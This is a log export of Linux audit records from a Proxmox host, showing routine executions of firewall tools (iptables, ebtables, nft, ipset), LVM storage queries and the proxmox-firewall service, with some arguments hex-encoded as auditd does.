{"@timestamp":1781965155135,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.135:64398): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964436106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.106:61023): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965155132,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.132:64397): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964436106,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.106:61022): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965155131,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.131:64396): argc=1 a0=\"date\""} {"@timestamp":1781964436102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.102:61021): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965155127,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.127:64394): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964436096,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.096:61020): proctitle=\"ip6tables-save\""} {"@timestamp":1781965155120,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.120:64393): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.090:61019): proctitle=\"iptables-save\""} {"@timestamp":1781965155113,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.113:64392): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.083:61018): proctitle=\"ip6tables-save\""} {"@timestamp":1781965155106,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.106:64391): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964436077,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.077:61017): proctitle=\"iptables-save\""} {"@timestamp":1781965155098,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.098:64390): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964436074,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.074:61016): proctitle=\"ebtables-restore\""} {"@timestamp":1781965155090,"@rawstring":"node=pve type=EXECVE msg=audit(1781965155.090:64389): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964436071,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.071:61015): proctitle=\"ebtables-restore\""} {"@timestamp":1781965154081,"@rawstring":"node=pve type=EXECVE msg=audit(1781965154.081:64388): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964436066,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.066:61014): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965154056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965154.056:64387): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964436061,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.061:61013): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965151989,"@rawstring":"node=pve type=EXECVE msg=audit(1781965151.989:64386): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.056:61012): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965151979,"@rawstring":"node=pve type=EXECVE msg=audit(1781965151.979:64383): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436051,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.051:61011): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965146967,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.967:64380): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436046,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.046:61010): proctitle=697073657400726573746F7265"} {"@timestamp":1781965146957,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.957:64377): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964436040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.040:61009): proctitle=\"ip6tables-save\""} {"@timestamp":1781965146079,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.079:64374): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964436034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.034:61008): proctitle=\"iptables-save\""} {"@timestamp":1781965146073,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.073:64373): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964436031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.031:61007): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965146073,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.073:64372): argc=1 a0=\"date\""} {"@timestamp":1781964436028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.028:61006): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965146069,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.069:64370): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964436027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.027:61005): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965146055,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.055:64369): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436027,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.027:61004): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965146043,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.043:64368): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436023,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.023:61003): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965146036,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.036:64367): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964436017,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.017:61002): proctitle=\"ip6tables-save\""} {"@timestamp":1781965146027,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.027:64366): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964436011,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.011:61001): proctitle=\"iptables-save\""} {"@timestamp":1781965146017,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.017:64364): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964436007,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.007:61000): proctitle=69707365740073617665"} {"@timestamp":1781965146009,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.009:64363): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964436001,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964436.001:60999): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965146005,"@rawstring":"node=pve type=EXECVE msg=audit(1781965146.005:64362): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964435994,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964435.994:60998): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965145999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.999:64361): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.352:60997): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145994,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.994:64360): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.352:60996): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145984,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.984:64359): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964434352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.352:60995): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145975,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.975:64358): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.345:60994): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145957,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.957:64357): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.345:60993): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145954,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.954:64356): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964434345,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.345:60992): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145948,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.948:64355): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964434212,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.212:60991): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965145939,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.939:64354): argc=1 a0=\"date\""} {"@timestamp":1781964434179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964434.179:60990): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965145935,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.935:64352): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.334:60989): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145925,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.925:64351): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.334:60988): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145914,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.914:64350): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964429334,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.334:60987): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145910,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.910:64349): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.321:60986): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145894,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.894:64348): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.321:60985): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965145880,"@rawstring":"node=pve type=EXECVE msg=audit(1781965145.880:64347): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964429321,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964429.321:60984): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965144971,"@rawstring":"node=pve type=EXECVE msg=audit(1781965144.971:64346): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964425983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.983:60983): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965144945,"@rawstring":"node=pve type=EXECVE msg=audit(1781965144.945:64345): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.979:60982): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965141947,"@rawstring":"node=pve type=EXECVE msg=audit(1781965141.947:64344): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.979:60981): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965141939,"@rawstring":"node=pve type=EXECVE msg=audit(1781965141.939:64341): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425979,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.979:60980): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965136927,"@rawstring":"node=pve type=EXECVE msg=audit(1781965136.927:64338): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.974:60979): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965136915,"@rawstring":"node=pve type=EXECVE msg=audit(1781965136.915:64335): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964425968,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.968:60978): proctitle=\"ip6tables-save\""} {"@timestamp":1781965135869,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.869:64332): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964425961,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.961:60977): proctitle=\"iptables-save\""} {"@timestamp":1781965135866,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.866:64331): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964425954,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.954:60976): proctitle=\"ip6tables-save\""} {"@timestamp":1781965135865,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.865:64330): argc=1 a0=\"date\""} {"@timestamp":1781964425946,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.946:60975): proctitle=\"iptables-save\""} {"@timestamp":1781965135861,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.861:64328): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964425943,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.943:60974): proctitle=\"ebtables-restore\""} {"@timestamp":1781965135855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.855:64327): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425941,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.941:60973): proctitle=\"ebtables-restore\""} {"@timestamp":1781965135848,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.848:64326): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425937,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.937:60972): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965135841,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.841:64325): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425932,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.932:60971): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965135833,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.833:64324): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.926:60970): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965135828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.828:64322): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964425921,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.921:60969): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965135822,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.822:64321): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964425916,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.916:60968): proctitle=697073657400726573746F7265"} {"@timestamp":1781965135815,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.815:64320): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964425910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.910:60967): proctitle=\"ip6tables-save\""} {"@timestamp":1781965135809,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.809:64319): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964425904,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.904:60966): proctitle=\"iptables-save\""} {"@timestamp":1781965135802,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.802:64318): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964425900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.900:60965): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965135797,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.797:64317): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964425897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.897:60964): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965135791,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.791:64316): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.896:60963): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965135781,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.781:64315): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425896,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.896:60962): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965135776,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.776:64314): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964425892,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.892:60961): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965135772,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.772:64313): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964425886,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.886:60960): proctitle=\"ip6tables-save\""} {"@timestamp":1781965135770,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.770:64312): argc=1 a0=\"date\""} {"@timestamp":1781964425880,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.880:60959): proctitle=\"iptables-save\""} {"@timestamp":1781965135766,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.766:64310): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964425875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.875:60958): proctitle=69707365740073617665"} {"@timestamp":1781965135759,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.759:64309): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964425869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.869:60957): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965135751,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.751:64308): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964425863,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964425.863:60956): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965135745,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.745:64307): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.311:60955): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965135737,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.737:64306): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.311:60954): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965135728,"@rawstring":"node=pve type=EXECVE msg=audit(1781965135.728:64305): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964424311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.311:60953): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965134860,"@rawstring":"node=pve type=EXECVE msg=audit(1781965134.860:64304): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.305:60952): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965134826,"@rawstring":"node=pve type=EXECVE msg=audit(1781965134.826:64303): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.305:60951): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965131904,"@rawstring":"node=pve type=EXECVE msg=audit(1781965131.904:64302): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964424305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.305:60950): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965131898,"@rawstring":"node=pve type=EXECVE msg=audit(1781965131.898:64299): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964424097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.097:60949): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965131522,"@rawstring":"node=pve type=EXECVE msg=audit(1781965131.522:64296): argc=6 a0=\"find\" a1=\"/var/lib/vz/dump/\" a2=\"-type\" a3=\"f\" a4=\"-name\" a5=\"*zst\""} {"@timestamp":1781964424056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964424.056:60948): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965126887,"@rawstring":"node=pve type=EXECVE msg=audit(1781965126.887:64295): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.292:60947): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965126878,"@rawstring":"node=pve type=EXECVE msg=audit(1781965126.878:64292): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.292:60946): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965125710,"@rawstring":"node=pve type=EXECVE msg=audit(1781965125.710:64289): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964419292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964419.292:60945): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} 